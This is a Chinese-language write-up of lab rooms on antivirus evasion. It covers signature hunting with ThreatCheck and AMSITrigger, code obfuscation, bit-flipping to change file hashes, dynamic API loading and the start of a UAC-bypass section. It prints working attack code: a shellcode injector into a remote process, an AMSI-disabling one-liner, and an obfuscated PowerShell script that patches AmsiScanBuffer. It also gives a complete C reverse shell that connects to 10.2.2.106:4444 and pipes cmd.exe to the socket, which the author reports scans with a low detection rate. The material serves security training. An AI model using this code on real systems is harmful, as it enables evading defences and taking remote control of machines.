remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
让我们使用字符串来准确查看此源代码编译时泄露了什么。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
C:\>.\strings.exe "\Injector.exe"
Strings v2.54 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
!This program cannot be run in DOS mode.
>FU
z';
z';
...
[snip]
...
Y_^[
leaked
shellcode
2_^[]
...
[snip]
...
std::_Adjust_manually_vector_aligned
"invalid argument"
string too long
This was leaked in the strings
Handle obtained for
Buffer Created
Process written with buffer
Closing handle
std::_Allocate_manually_vector_aligned
bad allocation
Stack around the variable '
...
[snip]
...
8@9H9T9X9\\9h9|9
:$:(:D:H:
@1p1
所有的 iostream 都写入了字符串,甚至 shellcode 字节数组也泄露了。这是一个较小的程序,所以想象一下一个功能完善且未混淆的程序会是什么样子!
我们可以删除注释并替换有意义的标识符来解决这个问题,或者在 Windows 端编译好,拖到 Linux 端过去用 strip filename
就 OK 了,当然你也可以手动处理变量名,不过在这个例子中,你要把那个 string 和打印的字符串处理掉,strip 只会处理你的变量名。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "windows.h"
int main(int argc, char* argv[])
{
unsigned char awoler[] = "";
HANDLE awerfu;
HANDLE rwfhbf;
PVOID iauwef;
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
CloseHandle(awerfu);
return 0;
}
Signature Evasion 特征码规避
前几个房间提到了 Shellcode 会有特征,容易被杀软检测,然后又提到了杀软是怎么检测特征的,上一个房间教了混淆的原理,这个房间就是用来具体实践的。
Signature Identification 签名识别
杀软是靠的特定的签名去识别恶意片段,所以我们需要找到程序中引起警报的片段。房间这里告诉我们用原生工具 head
、 dd
或 split
来分割已编译的二进制文件,我觉得这个挺繁琐的,后续可以用自动化工具完成这点。
Find-AVSignature 可以给定间隔对提供的字节范围进行分割,但这个也存在缺陷,他需要一个合适的间隔才能正常运行。如果我们给的间隔把一个签名直接在中间截断了,那么是不是就两段分割好的都找不到这个签名了?
另外这个脚本只观察二进制文件的字符串,而不是使用反病毒引擎的全部功能进行扫描,所以这里需要用其他工具去解决这个,例如 DefenderCheck, ThreatCheck, 和 AMSITrigger。
ThreatCheck
ThreatCheck 是 DefenderCheck 的一个分支,可以说是在这三者中使用最广泛/最可靠的。为了识别可能的签名,ThreatCheck 对拆分的已编译二进制文件利用了多个防病毒引擎,并报告其认为存在可疑字节的位置。
下面是 ThreatCheck 的基本用法,只需要提供一个文件和一个扫描引擎就能用了。
1
2
3
4
5
6
7
8
9
C:\>ThreatCheck.exe --help
-e, --engine (Default: Defender) Scanning engine. Options: Defender, AMSI
-f, --file Analyze a file on disk
-u, --url Analyze a file from a URL
--help Display this help screen.
--version Display version information.
# Task 3/4实际用法 题目要求用的是 Defender 但是会被 WD 干 所以用 AMSI
.\ThreatCheck.exe -f C:\Users\Student\Desktop\Binaries\shell.exe -e AMSI
AMSITrigger
ThreatCheck 扫不了 PowerShell,但是这个工具可以
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\>amsitrigger.exe --help
-i, --inputfile=VALUE Powershell filename
-u, --url=VALUE URL eg. <https://10.1.1.1/Invoke-NinjaCopy.ps1>
-f, --format=VALUE Output Format:
1 - Only show Triggers
2 - Show Triggers with Line numbers
3 - Show Triggers inline with code
4 - Show AMSI calls (xmas tree mode)
-d, --debug Show Debug Info
-m, --maxsiglength=VALUE Maximum signature Length to cater for,
default=2048
-c, --chunksize=VALUE Chunk size to send to AMSIScanBuffer,
default=4096
-h, -?, --help Show Help
# 他会告诉你识别的字符串是什么,去把他改掉就行
# -f 使用 3 他会把恶意代码标红
.\amsitrigger.exe -i bypass.ps1 -f 1
[+] "AmsiUtils"
[+] "amsiInitFailed"
这里的 bypass.ps1 是上个房间让我们混淆用的
1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Static Code-Based Signatures 基于静态代码的签名
现在我们鉴别出了有问题的签名,就要着手处理他了。在前面提到的论文中提到了很多在“混淆方法”和“混淆类别”层中有效的解决方案。
Obfuscating methods 混淆方法
混淆方法 | 目的 |
---|---|
方法代理 | 创建一个代理方法或替换对象 |
方法分散/聚合 | 将多种方法合并为一种,或将一种方法拆散成多个部分将多种方法合并为一种,或将一种方法拆散成多个部分 |
方法克隆 | 创建一个方法的副本并随机调用每个副本 |
这三个都是代码混淆中常用的技术,目的是改变代码的结构,让逆向分析变得更困难。下面我来详细解释一下它们的实现方式和原理。
1. 方法代理(Method Proxying)
目的:创建一个“代理”方法来代替原始方法,以此隐藏原始方法的直接调用关系。
实现方式: 攻击者不会直接调用 original_function()
,而是创建一个中间层——proxy_function()
。proxy_function()
的唯一作用就是调用 original_function()
。
混淆原理: 对于静态分析工具来说,它只能看到对 proxy_function()
的调用,而无法直接看到对原始方法的调用。这使得分析师必须多走一步,先分析代理函数,才能找到真正的目标函数。在实际应用中,攻击者会创建大量毫无意义的代理函数,形成一个复杂的调用链,让分析师陷入“代理”的迷宫。
1
2
3
4
5
6
7
8
9
10
11
12
13
// 原始调用
call original_function()
// 代理后的调用
call proxy_function_a()
...
proxy_function_a() {
call proxy_function_b()
}
...
proxy_function_b() {
call original_function()
}
2. 方法分散/聚合(Method Scattering/Aggregation)
这个混淆方式有两种相反的操作,但目的都是为了打乱代码的组织结构。
- 方法分散(Scattering):
- 目的:将一个完整的函数拆分成多个小的、不连续的代码块,并将它们分散在程序的各个角落。
- 实现方式:攻击者会将一个函数
original_function()
拆分成original_function_part1
、original_function_part2
等。当程序执行时,它会通过复杂的跳转指令或函数调用,将这些分散的部分重新拼接起来执行。 - 混淆原理:这破坏了代码的连续性。分析师无法通过简单地从上到下阅读代码来理解其功能。他们必须手动跟踪每一个跳转和调用,才能将所有代码块拼凑完整。
- 方法聚合(Aggregation):
- 目的:将多个功能不相关的函数或代码块合并到一个巨大的函数中。
- 实现方式:攻击者会将多个函数,比如
download_file()
和encrypt_data()
,合并成一个名为complex_function()
的函数。 - 混淆原理:这使得
complex_function()
变得非常庞大且难以理解。分析师必须在一大堆看似无关的代码中,找出并分离出那些真正执行恶意功能的代码,工作量呈指数级上升。
3. 方法克隆(Method Cloning)
目的:为同一个方法创建多个功能完全相同的副本,并随机调用这些副本。
实现方式: 攻击者会为 original_function()
创建多个副本,例如 original_function_clone1()
、original_function_clone2()
等。这些副本的内部代码可能完全相同,或者经过了轻微的混淆(比如改变了寄存器使用顺序)。在调用时,程序会随机选择一个副本进行调用。
混淆原理: 当杀毒软件的静态签名引擎发现一个可疑的函数时,它会为这个函数建立一个签名。但如果存在成百上千个功能相同但字节码不同的克隆函数,杀毒软件就无法为它们一一建立签名。同时,这也使得分析师的工作变得重复且乏味,因为他们必须分析每一个克隆副本,才能确定其真实功能。
Obfuscating Classes 混淆类
混淆方法 | 目的 |
---|---|
类层次扁平化 | 使用接口为类创建代理 |
类拆分/合并 | 将局部变量或指令组转移到另一个类 |
删除修饰符 | 移除类修饰符(public、private),并将所有成员设置为 public |
1. 类层次扁平化 (Class Hierarchy Flattening)
- 目的: 移除复杂的继承关系,使所有类都看起来是独立的,隐藏它们之间的逻辑联系。
- 实现原理: 攻击者会消除类之间的继承(
extends
)或接口实现(implements
)关系。原始代码中,子类可能继承父类的多个方法和属性,但在混淆后,这些继承来的方法和属性会被直接复制到子类中。这样一来,复杂的类层次结构就会被“拍平”,变成一堆互不相干的独立类。 - 混淆原理: 这种技术让分析师无法通过观察继承链来推断类的功能和关系。分析师必须单独检查每一个类,以确定其所有功能,工作量大大增加。
2. 类拆分/合并 (Class Splitting/Merging)
- 目的: 打乱类的内部结构,使代码的逻辑分散或集中,从而混淆分析。
- 实现原理:
- 拆分 (Splitting): 将一个类中的局部变量或方法,移动到另一个不相关的类中。例如,一个恶意类的关键数据或方法可能被拆分到多个不同的、看起来无害的类中。
- 合并 (Merging): 将多个类中的代码聚合到一个单一的、巨大的类中。这会使类变得异常庞大且难以理解。
- 混淆原理: 这种混淆技术破坏了面向对象编程的封装性。它使得分析师无法通过类的名字或功能来快速定位关键代码。如果一个类包含了太多无关的功能,或者一个功能被分散到多个类中,分析师就很难追踪完整的执行流程。
3. 删除修饰符 (Modifier Removal)
- 目的: 移除类和方法的修饰符(如
public
、private
),并把所有成员设为public
,以此来混淆代码的访问权限和结构。 - 实现原理: 攻击者会修改代码,使所有类和方法的修饰符都被删除或替换为
public
。例如,private
变量和protected
方法都会被修改为public
。 - 混淆原理: 这种做法破坏了面向对象编程的访问控制和封装原则。在正常的代码中,
private
意味着这个方法或变量只能在类内部使用,这为分析师提供了重要的上下文线索。当所有成员都变为public
后,分析师就无法通过访问权限来推断代码的内部逻辑,从而增加了分析的难度。
核心混淆思想的归纳
1. 拆分与合并
所有与“拆分”或“合并”相关的混淆技术,无论是类拆分/聚合(class splitting/coalescing
)还是方法分散/聚合(method scattering/aggregation
),它们的核心目的只有一个:打破代码的正常组织结构,使其难以被分析师追踪。
- 实现原理:它们通过改变代码的“大小”和“位置”来制造混乱。一个原本逻辑清晰、封装良好的代码块(无论是类还是方法),会被拆得四分五裂或者被合并成一个臃肿的巨兽。
- 最终目的:让分析师无法通过观察代码的常规结构(如类的边界、函数的开始与结束)来理解其功能。分析师必须耗费大量时间,手动将这些被分散的代码片段重新拼凑起来。
2. 隐藏和混淆可识别信息
另一类混淆技术,包括删除修饰符(dropping modifiers
)和方法克隆(method clone
),其核心作用是:剥离或隐藏任何能为分析师提供线索的“元数据”。
- 实现原理:这些方法不改变代码的逻辑,而是针对那些帮助人类理解代码的“标签”进行操作。
- 删除修饰符会移除像
public
、private
这样的访问权限,破坏了面向对象编程的封装性,让分析师无法通过这些修饰符来推断代码的内部逻辑。 - 方法克隆则通过制造大量功能相同但代码形式不同的副本,来规避基于签名的检测,并让分析师陷入无止境的重复分析。
- 删除修饰符会移除像
- 最终目的:让恶意代码在静态分析阶段看起来毫无特征,并且不提供任何可供参考的“线索”,迫使分析师从零开始进行行为分析。
Splitting and Merging Objects 拆分与合并对象
这个和之前拼接字符串很相似,在原理上是相等的,不过我们这里要操作的是一个字符串对象。尽管他是一个字符串,但是在面向对象语言里面万物皆对象。
原会被检测的字符串
1
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
混淆的方法
通过构造一个字符串类来规避检测,这个只是能过静态,字符串的拼接是在运行时执行的,所以能绕过静态签名检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static string GetMessageFormat // Format the public method
{
get // Return the property value
{
var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // Start the built-in concatenation method
sb.Append(@"""Type"":{1},"); // Append substrings onto the string
sb.Append(@"""Meta"":""{2}"",");
sb.Append(@"""IV"":""{3}"",");
sb.Append(@"""EncryptedMessage"":""{4}"",");
sb.Append(@"""HMAC"":""{5}""}}");
return sb.ToString(); // Return the concatenated string to the class
}
}
string MessageFormat = GetMessageFormat
Removing and Obscuring Identifiable Information 删除和模糊可识别信息
这个和之前用过的模糊变量名是一样的,下面是我处理好的 PowerShell 脚本,可以看到里面的变量名没变,处理过的是写死的字符串和数组,在运行时拼接。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "Ams" + "iSca" + "nBu" + "ffer"
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf0 = [UInt32]0xB8;
$buf1 = [UInt32]0x57;
$buf2 = [UInt32]0x00;
$buf3 = [UInt32]0x07;
$buf4 = [Uint32]0x80;
$buf5 = [Uint32]0xC3;
$buf = $buf1 + $buf2 + $buf3 + $buf4 + $buf5
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Static Property-Based Signatures 基于静态属性的特征签名
各种杀软和分析人员可能会考虑到不同的因素,而不是仅仅依赖字符串和静态签名去检验一个文件是否安全。签名实际上可以附加到很多文件属性上,比如哈希、熵、作者、名称或其他可识别的信息,这些可以单独使用或结合使用。
有些属性可能很容易被操纵,但有些很难被处理,尤其是在处理预编译的闭源应用程序时,这里我们会提到控制文件 Hash 和引入一个熵的概念。
File Hashes 文件 Hash
哈希(也叫校验和)是文件的唯一指纹,用于识别文件是否被篡改或验证其用途(比如是否为恶意)。对文件的任何修改,哪怕只是一点点,都会导致哈希值完全改变。
- 对于有源代码的应用:我们可以修改任意代码,然后重新编译,轻松得到一个新哈希。
- 对于已编译或已签名的应用:我们无法修改源代码,这时就需要使用比特翻转(bit-flipping)技术。
比特翻转是一种常见的攻击手段,它会逐个翻转并测试文件中的每一个比特,直到找到一个既能改变文件哈希,又不会破坏程序功能的“幸运”比特。这样一来,恶意软件就能在保持功能不变的情况下,获得一个全新的哈希值,从而绕过基于哈希的静态检测。
我们可以使用脚本自动化通过翻转每一位比特:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
# 它读取当前字节 i 的值,将其与十六进制值 0xde 进行异或(XOR)运算。异或运算会翻转字节中的某些位,从而改变其值。
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print("done")
生成变体后,我们可以利用一个脚本遍历按位翻转的列表并使用 signtool
这样的工具自动筛选可用的 exe,下面是一个批处理脚本。
1
2
3
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a flipped\\%%A.exe
)
Entropy 熵
“熵”(Entropy)指的是文件中数据的随机性。在安全领域,EDR 和其他扫描工具常用它来判断一个文件是否包含隐藏数据或可疑脚本。因为高度随机的数据(高熵值)可能意味着文件被加密或混淆了。
- 高熵值:通常表明数据是经过加密或混淆的,这会引起安全工具的警觉。
- 低熵值:通常表明数据是普通文本或未加密的代码。
为了降低熵值,我们可以将恶意代码中高度随机的混淆标识符(如 q234uf
)替换成随机选取的普通英文单词(如 nature
)。这样,文件看起来就不那么“随机”,从而降低其熵值,帮助规避检测。这里我们可以使用 CyberChef 观察熵是如何变化的。
Behavioral Signatures 行为特征签名
通过混淆方法和属性确实能规避掉检测,但是现代的杀软仅仅过静态是没用的,他还会观察我们的程序的行为特征。
现代杀毒引擎会采用两种常见的方法来检测恶意行为:观察导入表和 Hook 已知的恶意调用。
导入表
导入表是可执行文件(如.exe
或.dll
)中的一个部分,它列出了程序运行时需要从其他动态链接库(DLL)中调用的所有外部函数。这些函数通常是操作系统提供的核心API,比如 CreateProcess
(创建新进程)、WriteFile
(写入文件) 或 InternetConnect
(连接到互联网)。
杀毒引擎会扫描程序的导入表。如果一个程序导入了大量与恶意行为相关的函数,即使它还没有运行,杀毒引擎也会将它标记为可疑。例如,一个看似简单的文本编辑器如果导入了 SetWindowsHookEx
(键盘记录) 和 InternetConnect
(网络通信) 等函数,就会被视为高风险。
但是导入表可以通过很少的步骤就能被混淆掉,而 Hook 就需要高阶技术了。
API 调用
在基于 C 语言的程序中,传统的 API 调用流程主要解决了两个核心问题:如何找到 API 函数的地址,以及如何在运行时调用它们。这个过程可以分为以下几个关键步骤。
1. 问题:动态的函数地址
程序的 API 调用和操作系统的原生函数需要一个指向内存地址的指针。这看似简单,但由于 ASLR(地址空间布局随机化)的存在,操作系统每次启动程序时,都会将 DLL(如 kernel32.dll
或 ntdll.dll
)加载到不同的内存地址。这意味着,我们不能在编译时就确定函数的具体地址,它在运行时是动态变化的。
2. 解决方案:Windows 加载器
为了解决这个问题,Windows 操作系统提供了一个核心组件:Windows 加载器。程序不需要自己费力地在运行时寻找并修改函数地址,这个繁重而复杂的任务都交给了加载器。当程序启动时,加载器会负责将所有必需的模块(DLL)加载到内存中,并找到每个函数的确切地址。
3. 关键机制:导入地址表 (IAT)
Windows 加载器用来存储这些动态地址的核心机制是 IAT(导入地址表)。
- IAT 的位置:IAT 是 PE(可移植可执行文件)头的一部分,具体位于
IMAGE_OPTIONAL_HEADER
中。 - IAT 的作用:在程序刚加载到内存时,IAT 中的条目是空的。在程序运行前,Windows 加载器会遍历所有导入的函数,找到它们在内存中的真实地址,然后将这些地址填入 IAT 相应的位置。
4. 最终调用:Thunk
为了获取这些真实地址,加载器会访问一个指针表,这个表包含了指向 thunk 的指针。简单来说,thunk
是一个包含了跳转指令的简短代码段,它最终将执行流重定向到 API 函数的真实地址。因此,加载器实际上是将一个指向 thunk
的指针作为 API 函数的最终调用地址分配给 IAT。
通过这个复杂的流程,程序就能在运行时,通过查询 IAT,找到并正确调用它需要的操作系统 API,确保即使在 ASLR 的环境下也能正常运行,下图是一个 thunk 表的示例:

动态加载:绕过导入表 (IAT)
导入表(IAT)能为安全分析师提供关于二进制文件功能的关键信息,这对攻击者来说是极其不利的。那么,如何在需要为函数分配地址的情况下,又防止自己的函数出现在 IAT 中呢?
答案是使用动态加载(Dynamic Loading)技术。
- 传统方式:Windows 加载器在程序启动时,会自动为所有导入的函数填充 IAT,使分析师能轻松看到程序将要调用的所有 API。
- 动态加载方式:与此不同,动态加载不依赖于 IAT 和 Windows 加载器在启动时的自动处理。它是一种在程序运行时才获取 API 地址的技术。
简单来说,动态加载就是利用 API 调用本身来获取其他 API 的地址。这种方法可以有效地绕过 IAT,并最大限度地减少对 Windows 加载器的依赖,从而隐藏程序的真实行为。
动态加载的实现步骤
在 C 语言中,动态加载一个 API 调用通常分为以下四个步骤:
- 定义调用结构:在主函数之前,需要先定义目标 API 的结构。这个结构描述了该 API 所需的输入和输出,其详细信息可以从微软的官方文档中找到。
- 获取模块句柄:获取包含目标 API 的动态链接库(DLL)的句柄。
- 获取函数地址:通过模块句柄,获取目标函数的实际内存地址。
- 使用新调用:利用获取到的地址,调用目标 API。
在 C 语言中,你不能直接调用一个动态加载的函数。你需要先定义一个函数指针类型,来告诉编译器这个函数长什么样,包括它的返回值和参数类型。这个结构可以在微软的官方文档中找到。
例如,对于 GetComputerNameA
这个 API,它的结构可以被定义为:
1
2
3
4
5
// 1. 定义调用结构
typedef BOOL (WINAPI* myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);
这段代码创建了一个名为 myNotGetComputerNameA
的新类型,它是一个函数指针,指向一个返回 BOOL
,并接受 LPSTR
和 LPDWORD
作为参数的函数。
接下来,你需要加载包含目标 API 的动态链接库(DLL),并获取它的内存句柄。对于 Windows API 来说,这个库通常是 kernel32.dll
或 ntdll.dll
。
1
2
// 2. 获取包含调用地址的模块的句柄
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
LoadLibraryA
函数负责将 kernel32.dll
加载到进程的内存空间中,并返回一个句柄,这个句柄是后续操作的“钥匙”。
现在,你有了 DLL 的句柄,可以利用 GetProcAddress
函数来获取你需要的 API 的真实内存地址。
1
2
// 3. 获取调用的进程地址
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
GetProcAddress
接受模块句柄和函数名作为参数,返回该函数在内存中的实际地址。由于返回的是一个通用指针,我们需要将其强制转换为我们在第一步中定义的函数指针类型,以便正确调用。
尽管动态加载是一种有效的混淆技术,但它并非万无一失。
LoadLibraryA
和GetProcAddress
的暴露:即使你成功隐藏了对恶意 API 的直接调用,LoadLibraryA
和GetProcAddress
这两个函数本身仍然会出现在程序的导入表(IAT)中。这本身就是一个可疑的信号,因为许多恶意软件都依赖于这两个函数来动态加载 payload。- 对抗现代安全引擎:高级的安全代理(如 EDR)不仅会监控导入表,还会通过API 挂钩(API Hooking)来监视程序的行为。即使你通过动态加载获得了地址,这些安全引擎也可能在函数被调用时拦截并分析其行为。
为了应对这些更高级的检测手段,攻击者需要使用更复杂的混淆技术,例如位置无关代码 (PIC) 来解决 IAT 暴露问题,以及 API 脱钩(API Unhooking)来规避行为监控。
实践
实际上就是通过 GetProcAddress
获取到的函数的实际的调用地址,而不是用传统的导入调用,当然你也可以直接使用 GetComputerNameA
方法,不过他会出现到 IAT 中。如果用动态加载,程序的导入表中只会有 LoadLibraryA
和 GetProcAddress
这两个函数,原理就是这么个样,看怎么理解咯。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>
#include <stdio.h>
#include <lm.h>
typedef BOOL (WINAPI *myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);
int main() {
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
CHAR hostName[260];
DWORD hostNameLength = 260;
if (notGetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName);
}
}
大杂烩
需要你用尽毕生所学,做一个满足下面要求的 shell。
- 没有可疑的库调用
- 没有泄露的函数或变量名
- 文件哈希值与原始哈希值不同
- 二进制文件可绕过常见的反病毒引擎
首先分析一下需求:
第一点,可以用动态加载完成,在前面就提到了
第二点,变量名和函数都可以用随机字符串代替
第三点我不知道啥意思
第四点就是消灭文件签名咯。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#define DEFAULT_BUFLEN 1024
// 声明好方法签名
typedef int(WSAAPI *WSASTARTUP)(WORD wVersionRequested, LPWSADATA lpWSAData);
typedef SOCKET(WSAAPI *WSASOCKETA)(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags);
typedef unsigned(WSAAPI *INET_ADDR)(const char *cp);
typedef u_short(WSAAPI *HTONS)(u_short hostshort);
typedef int(WSAAPI *WSACONNECT)(SOCKET s, const struct sockaddr *name, int namelen, LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS);
typedef int(WSAAPI *CLOSESOCKET)(SOCKET s);
typedef int(WSAAPI *WSACLEANUP)(void);
void RunShell(char *C2Server, int C2Port)
{
HMODULE hws2_32 = LoadLibraryW(L"ws2_32");
WSASTARTUP myWSAStartup = (WSASTARTUP)GetProcAddress(hws2_32, "WSAStartup");
WSASOCKETA myWSASocketA = (WSASOCKETA)GetProcAddress(hws2_32, "WSASocketA");
INET_ADDR myinet_addr = (INET_ADDR)GetProcAddress(hws2_32, "inet_addr");
HTONS myhtons = (HTONS)GetProcAddress(hws2_32, "htons");
WSACONNECT myWSAConnect = (WSACONNECT)GetProcAddress(hws2_32, "WSAConnect");
CLOSESOCKET myclosesocket = (CLOSESOCKET)GetProcAddress(hws2_32, "closesocket");
WSACLEANUP myWSACleanup = (WSACLEANUP)GetProcAddress(hws2_32, "WSACleanup");
SOCKET mySocket;
struct sockaddr_in addr;
WSADATA version;
myWSAStartup(MAKEWORD(2, 2), &version);
mySocket = myWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = myinet_addr(C2Server);
addr.sin_port = myhtons(C2Port);
if (myWSAConnect(mySocket, (SOCKADDR *)&addr, sizeof(addr), 0, 0, 0, 0) == SOCKET_ERROR)
{
myclosesocket(mySocket);
myWSACleanup();
}
else
{
printf("Connected to %s:%d\\n", C2Server, C2Port);
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
printf("Process Created %lu\\n", pinfo.dwProcessId);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
}
int main(int argc, char **argv)
{
if (argc == 3)
{
int port = atoi(argv[2]);
RunShell(argv[1], port);
}
else
{
char host[] = "10.2.2.106";
int port = 4444;
RunShell(host, port);
}
return 0;
}
最后可以用 strip
跑一遍,丢到 VT 上扫一下,检出率很低

试想一下,如果用这种技术去造一个 Shellcode 加载器,用动态加载 + 函数名混淆 + shellcode 签名混淆 + 壳,过静态应该问题不大,容易检测的点都给他过了,要针对的就只是内存扫描了。
Bypassing UAC 绕过 UAC
之前在完成一些房间的时候接触到了老系统通过证书的 URL 来提权,这个房间详细介绍了现在可用的提权手段,是利用了 Windows 的 “feature”。
UAC 的概念
UAC 是一个 Windows 的安全特性,默认情况下强制任何新进程以非特权帐户的安全上下文运行。该策略适用于任何用户启动的进程,包括管理员本人。其理念是我们不能仅依赖用户的身份来判断某些操作是否应被授权。
UAC 并没有把管理员账户变成普通账户,而是改变了程序运行时的默认权限。
- 没有 UAC 的时代:只要你用管理员身份登录,你运行的任何程序都自动拥有管理员的全部权限。
- 有了 UAC 之后:默认情况下,你启动的任何程序(包括由管理员本人启动的)都只被赋予非特权账户的权限。这意味着,它无法随意修改系统文件、注册表等关键区域。
当一个程序需要执行一个可能影响系统的操作时(比如安装软件),UAC 会弹出一个权限确认窗口。只有当管理员亲自点击“是”来授权后,这个程序才能临时获得管理员权限,完成特定任务。
Integrity Levels 完整性级别
UAC 是一种强制完整性控制(Mandatory Integrity Control (MIC)),它通过为用户、进程和资源中的每一项分配一个完整性级别(IL)来实现区分。一般来说,具有更高 IL 的用户或进程访问令牌将能够访问具有较低或相等 IL 的资源。MIC 优先于常规的 Windows DACL,因此即便根据 DACL 你被授权访问某个资源,如果你的 IL 不够高也无济于事。
完整性级别 | 用途 |
---|---|
Low | 通常用于与互联网交互(例如 Internet Explorer)。权限非常有限。 |
Medium | 分配给标准用户和管理员的受限令牌。 |
High | 在启用 UAC 时由管理员的提升令牌使用。如果 UAC 被禁用,所有管理员将始终使用高完整性级别(High IL)令牌。 |
System | 预留给系统使用 |
Filtered Tokens 受限令牌
为实现这种角色分离,UAC 在登录时以略有不同的方式对待普通用户和管理员:
- 非管理员用户会在登录的时候收到一个访问令牌,该令牌将用于用户执行的所有任务。该令牌具有 Medium IL。
- 管理员用户会收到两个访问令牌
- 受限令牌:已被剥夺管理员权限的令牌,用于常规操作,该令牌具有 Medium IL。
- 提升令牌:一个拥有完全管理员权限的令牌,用于需要管理员权限运行的东西,该令牌具有 High IL。
总而言之,管理员在日常使用中会使用受限令牌,除非他们通过 UAC 请求提升权限。
通过正常方式打开应用程序
图1是正常打开应用程序的 Token,图2是通过管理员权限打开的。可以看到左边的是 Medium IL,右边的是 High IL,拥有的权限也更多。

UAC 的设定
UAC 可以配置为以下四种不同的通知级别:
- 始终通知: 当程序试图安装应用或对计算机进行更改时,以及你手动修改 Windows 设置时,UAC 都会弹出通知并要求授权。这是最严格、最安全的设置。
- 仅在程序试图对我的计算机进行更改时通知 (默认设置): 当程序试图安装应用或对计算机进行更改时,UAC 会弹出通知并要求授权。但如果你是管理员,手动更改 Windows 设置(例如,更改日期和时间)则不会触发 UAC 提示。
- **仅在程序试图对我的计算机进行更改时通知 (不调暗桌面)**: 功能和上一个级别相同,但弹出 UAC 提示时不会调暗桌面。这会牺牲一部分安全性,因为恶意软件理论上有机会在提示窗口上模拟点击。
- 从不通知: 禁用 UAC 提示。在这种模式下,管理员运行的所有程序都会默认获得最高权限,这与没有 UAC 时的行为相同。这是最不安全的设置,不推荐使用。
实际上只有两个档
然而在微软的 Raymond Chen(陈瑞孟)在 There are really only two effectively distinct settings for the UAC slider 一文中说实际上只有两个档:
- 始终通知
- 辣鸡
src: https://blog.walterlv.com/post/there-are-only-two-settings-for-the-uac-slider.html
